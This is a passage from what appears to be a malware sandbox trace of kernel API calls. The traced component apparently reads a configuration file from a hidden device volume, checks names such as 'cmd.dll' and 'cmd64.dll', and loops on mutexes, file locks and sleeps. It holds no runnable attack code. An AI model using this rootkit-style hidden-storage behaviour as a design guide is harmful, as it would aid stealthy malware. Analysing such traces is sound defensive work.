(PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea6a0 [0123.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.252] KeLeaveCriticalRegion () [0123.252] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.252] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.253] KeEnterCriticalRegion () [0123.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.253] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.253] KeLeaveCriticalRegion () [0123.253] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.253] KeEnterCriticalRegion () [0123.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.253] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.253] IdePortDispatch () returned 0x103 [0123.253] KeWaitForMutexObject () returned 0x0 [0123.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.253] KeLeaveCriticalRegion () [0123.253] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.253] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.253] KeEnterCriticalRegion () [0123.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.253] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfc000 [0123.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.253] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.253] IdePortDispatch () returned 0x103 [0123.253] KeWaitForMutexObject () returned 0x0 [0123.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.254] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.254] IdePortDispatch () returned 0x103 [0123.254] KeWaitForMutexObject () returned 0x0 [0123.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.254] KeLeaveCriticalRegion () [0123.254] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.254] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.254] KeEnterCriticalRegion () [0123.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.254] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.254] KeLeaveCriticalRegion () [0123.254] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.254] KeEnterCriticalRegion () [0123.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.254] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.254] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.254] KeLeaveCriticalRegion () [0123.255] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.255] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.255] KeEnterCriticalRegion () [0123.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.255] ExFreePoolWithTag (P=0xfffffa8003bea6a0, Tag=0x0) [0123.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.255] KeLeaveCriticalRegion () [0123.255] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.255] ReleaseMutex (hMutex=0xf0) returned 1 [0123.255] Sleep (dwMilliseconds=0x124f80) [0123.274] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.274] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.274] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.274] KeEnterCriticalRegion () [0123.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.274] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.274] IdePortDispatch () returned 0x103 [0123.275] KeWaitForMutexObject () returned 0x0 [0123.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.275] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.275] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.275] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.275] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.275] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea800 [0123.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.275] KeLeaveCriticalRegion () [0123.275] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.275] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.275] KeEnterCriticalRegion () [0123.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.275] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.275] KeLeaveCriticalRegion () [0123.275] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.275] KeEnterCriticalRegion () [0123.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.275] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.275] IdePortDispatch () returned 0x103 [0123.275] KeWaitForMutexObject () returned 0x0 [0123.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.275] KeLeaveCriticalRegion () [0123.275] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.275] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.275] KeEnterCriticalRegion () [0123.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.275] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003401000 [0123.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.276] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.276] IdePortDispatch () returned 0x103 [0123.276] KeWaitForMutexObject () returned 0x0 [0123.276] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.276] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.276] IdePortDispatch () returned 0x103 [0123.276] KeWaitForMutexObject () returned 0x0 [0123.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.276] KeLeaveCriticalRegion () [0123.276] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.277] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.277] KeEnterCriticalRegion () [0123.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.277] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.277] KeLeaveCriticalRegion () [0123.277] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.277] KeEnterCriticalRegion () [0123.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.277] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.277] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.277] KeLeaveCriticalRegion () [0123.277] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.277] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.277] KeEnterCriticalRegion () [0123.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.277] ExFreePoolWithTag (P=0xfffffa8003bea800, Tag=0x0) [0123.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.277] KeLeaveCriticalRegion () [0123.277] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.277] ReleaseMutex (hMutex=0xf0) returned 1 [0123.277] Sleep (dwMilliseconds=0x124f80) [0123.287] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.293] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.293] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.293] KeEnterCriticalRegion () [0123.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.293] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.293] IdePortDispatch () returned 0x103 [0123.293] KeWaitForMutexObject () returned 0x0 [0123.293] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.294] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.294] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.294] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.294] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.294] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beafb0 [0123.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.294] KeLeaveCriticalRegion () [0123.294] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.294] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.294] KeEnterCriticalRegion () [0123.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.294] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.294] KeLeaveCriticalRegion () [0123.294] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.294] KeEnterCriticalRegion () [0123.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.294] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.294] IdePortDispatch () returned 0x103 [0123.294] KeWaitForMutexObject () returned 0x0 [0123.294] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.294] KeLeaveCriticalRegion () [0123.294] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.294] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.294] KeEnterCriticalRegion () [0123.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.294] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003481000 [0123.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.294] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.294] IdePortDispatch () returned 0x103 [0123.295] KeWaitForMutexObject () returned 0x0 [0123.295] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.295] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.295] IdePortDispatch () returned 0x103 [0123.295] KeWaitForMutexObject () returned 0x0 [0123.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.295] KeLeaveCriticalRegion () [0123.295] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.295] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.295] KeEnterCriticalRegion () [0123.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.295] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.296] KeLeaveCriticalRegion () [0123.296] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.296] KeEnterCriticalRegion () [0123.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.296] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.296] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.296] KeLeaveCriticalRegion () [0123.296] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.296] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.296] KeEnterCriticalRegion () [0123.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.296] ExFreePoolWithTag (P=0xfffffa8003beafb0, Tag=0x0) [0123.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.296] KeLeaveCriticalRegion () [0123.296] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.296] ReleaseMutex (hMutex=0xf0) returned 1 [0123.296] Sleep (dwMilliseconds=0x124f80) [0123.311] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.311] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.311] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.311] KeEnterCriticalRegion () [0123.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.311] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.311] IdePortDispatch () returned 0x103 [0123.311] KeWaitForMutexObject () returned 0x0 [0123.311] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.311] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.311] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.311] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.311] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.311] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebf60 [0123.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.311] KeLeaveCriticalRegion () [0123.311] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.311] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.311] KeEnterCriticalRegion () [0123.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.311] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.311] KeLeaveCriticalRegion () [0123.311] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.311] KeEnterCriticalRegion () [0123.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.311] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.311] IdePortDispatch () returned 0x103 [0123.312] KeWaitForMutexObject () returned 0x0 [0123.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.312] KeLeaveCriticalRegion () [0123.312] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.312] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.312] KeEnterCriticalRegion () [0123.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.312] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003487000 [0123.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 